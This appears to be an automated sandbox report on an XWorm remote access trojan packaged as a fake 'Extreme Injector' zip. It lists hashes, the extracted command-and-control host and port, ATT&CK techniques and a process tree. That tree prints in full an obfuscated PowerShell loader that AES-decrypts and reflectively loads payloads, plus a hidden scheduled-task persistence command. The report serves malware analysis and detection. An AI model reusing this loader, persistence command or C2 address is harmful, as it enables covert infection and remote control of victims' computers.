xworm | 9b3332bed7cda293d8df274857318171e73da9a36c68636159bddca7d72c3211

Analysis

user interaction
yes
max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/04/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Injector(Pass1234).zip
Size 3.0MB
Sample260414-dmcsqaev6t
SHA256 9b3332bed7cda293d8df274857318171e73da9a36c68636159bddca7d72c3211
MD5 b1a25d49c4fe2773937adfb55efe35c7
SHA1 f04f2faca5737a70076c0de2fd09f57cc18cdbd8
SHA512 57612b6cea7a11dcad5e8b1c5cdd1f1e6b03b609e0d713e3b75da63fd19a4f161186c7377d65d1d42eafa588ec4026191e837817d2c8d83c6203ed05c296127e
SSDEEP 49152:eaX/dtZnGjYoIjhrOso6X7lOTfBvctv7ORKYe3HCtMlMQxEVMCB6JIJJnIGsuQEd:ea3ZcYoItSso6IVu7ORKYSjlTp06OTGG
TLSH
T178E533A8374BFC79AF290BA34ABA6C4FB06FF4A45F36025A72D12731378472395055D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xworm rat trojan

Malware Config

Extracted

Family

xworm

gasgasgaaxas-58063.portmap.host:58063

Mutex

K4eldzqoY3fYaxR7

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4176-48-0x000002B3B9FE0000-0x000002B3B9FEE000-memory.dmp	family_xworm

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
60	4176	powershell.exe
91	4176	powershell.exe
92	4176	powershell.exe
93	4176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
876	powershell.exe
920	powershell.exe
4176	powershell.exe
2896	powershell.exe
3108	powershell.exe
2420	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3672	Extreme Injector v3.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
53	raw.githubusercontent.com
54	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2296	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
876	powershell.exe
876	powershell.exe
920	powershell.exe
920	powershell.exe
4176	powershell.exe
4176	powershell.exe
2896	powershell.exe
2896	powershell.exe
3108	powershell.exe
3108	powershell.exe
3108	powershell.exe
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
3672	Extreme Injector v3.exe
3672	Extreme Injector v3.exe
3672	Extreme Injector v3.exe
3672	Extreme Injector v3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeIncreaseQuotaPrivilege	920	powershell.exe
Token: SeSecurityPrivilege	920	powershell.exe
Token: SeTakeOwnershipPrivilege	920	powershell.exe
Token: SeLoadDriverPrivilege	920	powershell.exe
Token: SeSystemProfilePrivilege	920	powershell.exe
Token: SeSystemtimePrivilege	920	powershell.exe
Token: SeProfSingleProcessPrivilege	920	powershell.exe
Token: SeIncBasePriorityPrivilege	920	powershell.exe
Token: SeCreatePagefilePrivilege	920	powershell.exe
Token: SeBackupPrivilege	920	powershell.exe
Token: SeRestorePrivilege	920	powershell.exe
Token: SeShutdownPrivilege	920	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeSystemEnvironmentPrivilege	920	powershell.exe
Token: SeRemoteShutdownPrivilege	920	powershell.exe
Token: SeUndockPrivilege	920	powershell.exe
Token: SeManageVolumePrivilege	920	powershell.exe
Token: 33	920	powershell.exe
Token: 34	920	powershell.exe
Token: 35	920	powershell.exe
Token: 36	920	powershell.exe
Token: SeIncreaseQuotaPrivilege	920	powershell.exe
Token: SeSecurityPrivilege	920	powershell.exe
Token: SeTakeOwnershipPrivilege	920	powershell.exe
Token: SeLoadDriverPrivilege	920	powershell.exe
Token: SeSystemProfilePrivilege	920	powershell.exe
Token: SeSystemtimePrivilege	920	powershell.exe
Token: SeProfSingleProcessPrivilege	920	powershell.exe
Token: SeIncBasePriorityPrivilege	920	powershell.exe
Token: SeCreatePagefilePrivilege	920	powershell.exe
Token: SeBackupPrivilege	920	powershell.exe
Token: SeRestorePrivilege	920	powershell.exe
Token: SeShutdownPrivilege	920	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeSystemEnvironmentPrivilege	920	powershell.exe
Token: SeRemoteShutdownPrivilege	920	powershell.exe
Token: SeUndockPrivilege	920	powershell.exe
Token: SeManageVolumePrivilege	920	powershell.exe
Token: 33	920	powershell.exe
Token: 34	920	powershell.exe
Token: 35	920	powershell.exe
Token: 36	920	powershell.exe
Token: SeIncreaseQuotaPrivilege	920	powershell.exe
Token: SeSecurityPrivilege	920	powershell.exe
Token: SeTakeOwnershipPrivilege	920	powershell.exe
Token: SeLoadDriverPrivilege	920	powershell.exe
Token: SeSystemProfilePrivilege	920	powershell.exe
Token: SeSystemtimePrivilege	920	powershell.exe
Token: SeProfSingleProcessPrivilege	920	powershell.exe
Token: SeIncBasePriorityPrivilege	920	powershell.exe
Token: SeCreatePagefilePrivilege	920	powershell.exe
Token: SeBackupPrivilege	920	powershell.exe
Token: SeRestorePrivilege	920	powershell.exe
Token: SeShutdownPrivilege	920	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeSystemEnvironmentPrivilege	920	powershell.exe
Token: SeRemoteShutdownPrivilege	920	powershell.exe
Token: SeUndockPrivilege	920	powershell.exe
Token: SeManageVolumePrivilege	920	powershell.exe
Token: 33	920	powershell.exe
Token: 34	920	powershell.exe
Token: 35	920	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3672	Extreme Injector v3.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 876	2808	cmd.exe	100
PID 876 wrote to memory of 920	876	powershell.exe	101
PID 876 wrote to memory of 932	876	powershell.exe	103
PID 932 wrote to memory of 1692	932	WScript.exe	104
PID 1692 wrote to memory of 4176	1692	cmd.exe	106
PID 4176 wrote to memory of 2604	4176	powershell.exe	107
PID 4176 wrote to memory of 3672	4176	powershell.exe	109
PID 2604 wrote to memory of 2896	2604	cmd.exe	110
PID 2896 wrote to memory of 3108	2896	powershell.exe	111
PID 2896 wrote to memory of 4244	2896	powershell.exe	113
PID 4244 wrote to memory of 2372	4244	WScript.exe	114
PID 2372 wrote to memory of 2420	2372	cmd.exe	116
PID 4176 wrote to memory of 4408	4176	powershell.exe	117
PID 4408 wrote to memory of 2296	4408	cmd.exe	119

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Injector(Pass1234).zip
1⤵
PID:448

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pLtHlz65p62pLjwBsGdhobMDR3zdV472ABjc3nlHMQ4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EThMYMa04/t9//fmRp4GXA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wDRux=New-Object System.IO.MemoryStream(,$param_var); $OarPB=New-Object System.IO.MemoryStream; $hCQiD=New-Object System.IO.Compression.GZipStream($wDRux, [IO.Compression.CompressionMode]::Decompress); $hCQiD.CopyTo($OarPB); $hCQiD.Dispose(); $wDRux.Dispose(); $OarPB.Dispose(); $OarPB.ToArray();}function execute_function($param_var,$param2_var){ $TlMwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GhKjQ=$TlMwF.EntryPoint; $GhKjQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat';$tQLyu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat').Split([Environment]::NewLine);foreach ($jsfOa in $tQLyu) { if ($jsfOa.StartsWith(':: ')) { $JESLt=$jsfOa.Substring(3); break; }}$payloads_var=[string[]]$JESLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_294_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_294.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_294.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_294.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pLtHlz65p62pLjwBsGdhobMDR3zdV472ABjc3nlHMQ4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EThMYMa04/t9//fmRp4GXA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wDRux=New-Object System.IO.MemoryStream(,$param_var); $OarPB=New-Object System.IO.MemoryStream; $hCQiD=New-Object System.IO.Compression.GZipStream($wDRux, [IO.Compression.CompressionMode]::Decompress); $hCQiD.CopyTo($OarPB); $hCQiD.Dispose(); $wDRux.Dispose(); $OarPB.Dispose(); $OarPB.ToArray();}function execute_function($param_var,$param2_var){ $TlMwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GhKjQ=$TlMwF.EntryPoint; $GhKjQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_294.bat';$tQLyu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_294.bat').Split([Environment]::NewLine);foreach ($jsfOa in $tQLyu) { if ($jsfOa.StartsWith(':: ')) { $JESLt=$jsfOa.Substring(3); break; }}$payloads_var=[string[]]$JESLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4176
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1E4tlHMqm/HV/We+PElkU/JUYECwFl26lZQbI0777Tw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Axa5NzGPdzvYUPybLg7WcA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WXKrQ=New-Object System.IO.MemoryStream(,$param_var); $jECwQ=New-Object System.IO.MemoryStream; $FmQvb=New-Object System.IO.Compression.GZipStream($WXKrQ, [IO.Compression.CompressionMode]::Decompress); $FmQvb.CopyTo($jECwQ); $FmQvb.Dispose(); $WXKrQ.Dispose(); $jECwQ.Dispose(); $jECwQ.ToArray();}function execute_function($param_var,$param2_var){ $heHwB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eHySy=$heHwB.EntryPoint; $eHySy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat';$CLTHM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat').Split([Environment]::NewLine);foreach ($wrfWX in $CLTHM) { if ($wrfWX.StartsWith(':: ')) { $SdXBq=$wrfWX.Substring(3); break; }}$payloads_var=[string[]]$SdXBq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        7⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_3_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_3.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3108
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_3.vbs"
        8⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_3.bat" "
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1E4tlHMqm/HV/We+PElkU/JUYECwFl26lZQbI0777Tw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Axa5NzGPdzvYUPybLg7WcA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WXKrQ=New-Object System.IO.MemoryStream(,$param_var); $jECwQ=New-Object System.IO.MemoryStream; $FmQvb=New-Object System.IO.Compression.GZipStream($WXKrQ, [IO.Compression.CompressionMode]::Decompress); $FmQvb.CopyTo($jECwQ); $FmQvb.Dispose(); $WXKrQ.Dispose(); $jECwQ.Dispose(); $jECwQ.ToArray();}function execute_function($param_var,$param2_var){ $heHwB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eHySy=$heHwB.EntryPoint; $eHySy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_3.bat';$CLTHM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_3.bat').Split([Environment]::NewLine);foreach ($wrfWX in $CLTHM) { if ($wrfWX.StartsWith(':: ')) { $SdXBq=$wrfWX.Substring(3); break; }}$payloads_var=[string[]]$SdXBq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2420
      - C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Extreme Injector v3.exe
        
        "C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Extreme Injector v3.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3672
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDD71.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4408
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9a64dc8240231c27c1cf1e78a04154b1ca2205a0b471fc50e66f309abdcf5b4f
MD5 1422d98d8659b4698d49a8d4ffe0de18
SHA1 a927ff744811f68aefa3ca4df82517df4230ac1c
SHA512 aa418beee1f13c094962231bf1dd61fb1269e21bd5e5c2bf226133af2ef8787f819b06f052ca6d09d445f2945273873382bfe5d3eeb184ccaa1664946abab568
TLSH
T1B431AA67F39C8A26C89A013A109DAC507275C7E7819ECE8BBF85C214E17F5D4CF72590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 98cf13d4ea97368593cb0394889df4397455161ddde73b115b1326e11b3114ef
MD5 e99670ee1011d0bde74253b1f171feef
SHA1 d0339dd9e4fd1e40043742dc83391877cefa3419
SHA512 54db8ee3c2c41d53c3b5ac580f729f163da4be79e76f7726785e782e615000aa3f0e8cc2527314f8fc55b790e3e7f29fb5416bbec60ce119d14a28aaddc060f9
TLSH
T180215423B39C8922CC8A153A509DAC5032B587DB41EFDE9FAFC4D605E17F984CB71594
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416
MD5 ee6f5f5e5924783870aeedeccdafe9da
SHA1 0e12ede20df5ec37f2bf3608ad1bc9b4649450fd
SHA512 998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f
TLSH
T1B6215423B39C8922CC8A153A509DAC5032B587D741AFDE9FAFC4D615E17F984CB72590
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ekaogkei.cjx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ekaogkei.cjx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpDD71.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpDD71.tmp.bat
Size 171B
SHA256 dee2e9abcd789cec2fa39aa547317f986cfc1d52cbaf56e50d67ad74b6b216f2
MD5 489dad93b3e4668b1493d2514e7a9d07
SHA1 f41cc82f1ffa3496caf819416fed3aa4192c1216
SHA512 94590f79e1a6e1b5948a918055763c7423de90d7b398639c4d82bca0b670d2329b8ffbe4b74f1c90e38297d106634b5fc65dbb357975b2aa27c4da10f0868719
TLSH
T1F2C0806115D5B2595DC62C59315F8165D1A3E81E25406F7073C40544EC4005DDC7875D
MD5 SHA1 SHA512 TLSH

Submit Download

startup_str_294.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_294.bat
Size 4.0MB
SHA256 45246645bc8da90d6b13faeb1390370a1a0450a1e53c70a7a6a0d93f9d425f21
MD5 4261318ed5737d75fc6cba9f12c45a04
SHA1 fdfb83c217430df42a9240b13d6ee3fc073b7738
SHA512 c90e4dbb3c1d1bcfc10b655388415e8aaf3c2c55dfae3fdc293ae0bb24390ec206f2cf66e4d8f9845450be62cbe93465ee6877bd08417548e63b489c7b153c58
SSDEEP 49152:0IAoFXJZRbaGR9lgMOPFk696VZUsFUZU4b3m0lHpliyhjR1AJ+l:al
TLSH
T1D216332A6F647D7F0748632860EF2B3B17701FA388456AE606D5BFC726DEF400923659
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_294.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_294.vbs
Size 115B
SHA256 214554f100de3e15307b0b0076d10140db1264651f02db65771aa48a42f9a3c2
MD5 47043c4c3c835d9f367d2af4b3c74adb
SHA1 7635ad07351b91697c8727a65e0412480b662ec1
SHA512 cbc758f85e871d91347a0ae78a448dc01790321fc5fb8dd453da736770516f0570d8451ae6adf044f6ad8e97ac34d73d1733f3143c0aae12fd41fdf8a7eb6ad0
TLSH
T1A3B092292189898B290551E30B72840C89A089812684ABA5CB0185ED20B8508BDD6003
MD5 SHA1 SHA512 TLSH

Submit Download

startup_str_3.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_3.vbs
Size 113B
SHA256 46fa802dc710e5ab4d0ccffb9d3bab85b9db1c27904d383c8b85c8f158e66d3f
MD5 8d6a53ebee21442c06a0921d3466cbfb
SHA1 27ea81c67e370ec65947e33a71a9e14617f46d96
SHA512 2e79ad50988636e8d243a19ab62a5a07bdc7bc93a0c67180985eaa0e89baf8bf6da0dc6134340848c1cbbdedcf7ff099b90f1230da9af7a04cd6f7a66addc996
TLSH
T137B09229A189C98B290551E30B72840C89A089802548ABA6CE0485DD10B8548B996003
MD5 SHA1 SHA512 TLSH

Submit Download

Extreme Injector v3.exe

Path C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Extreme Injector v3.exe
Size 1.9MB
SHA256 b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46
MD5 ec801a7d4b72a288ec6c207bb9ff0131
SHA1 32eec2ae1f9e201516fa7fcdc16c4928f7997561
SHA512 a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac
SSDEEP 49152:NNEVtO1U1y1DDDDDD7Llngq7NNMqU0p2Vhk9a:NNEVJyZlng4p2V
TLSH
T1B8956D997650B69EC89BC932CAE51C2CF760A07B571BC343A46325EC9D4DA9BCF041B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Injector.bat

Path C:\Users\Admin\Desktop\Injector(Pass1234)\Injector\Injector.bat
Size 2.0MB
SHA256 6b1d2ecad91368bb6e11e7f157d7f090f6135151278ea5f84c395cf8876cdc22
MD5 713370b5f334a662ae2bfd6fcd01ec4d
SHA1 34b1e80281726eb57667648fcf908bfb5941c266
SHA512 48ffbb8e9b8bcfaf7479157ff150a5a1e9a84923db6669f07243b4240b604f83e6dd3ee1e7815afa95a9a2e64fadb615502ac729ddbdf84a7984ea6f8566a90e
SSDEEP 24576:5Jg4jn3uAtiNavtOD+j1jJX3vqqpSA02AOeNt8za1J3itSdxBCqbPYRr2wEDeUiL:5JXAy55fRj0tOkkYJjzQqzcrQNRYj
TLSH
T1AFA523538A719DAF53ADD318746FABAA4F744DD0880F85270AE42D9F170DB47E84E82C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/876-11-0x0000026A8F2F0000-0x0000026A8F2F8000-memory.dmp

Download

memory/876-43-0x0000026A8F2D0000-0x0000026A8F2D8000-memory.dmp

Download

memory/876-42-0x0000026A8D5E0000-0x0000026A8D635000-memory.dmp

Download

memory/876-12-0x0000026ABFB60000-0x0000026ABFF6C000-memory.dmp

Download

memory/876-10-0x0000026AA76A0000-0x0000026AA76C2000-memory.dmp

Download

memory/876-2-0x0000026AA74A0000-0x0000026AA74B0000-memory.dmp

Download

memory/876-1-0x0000026AA74A0000-0x0000026AA74B0000-memory.dmp

Download

memory/920-23-0x00000200C6740000-0x00000200C6795000-memory.dmp

Download

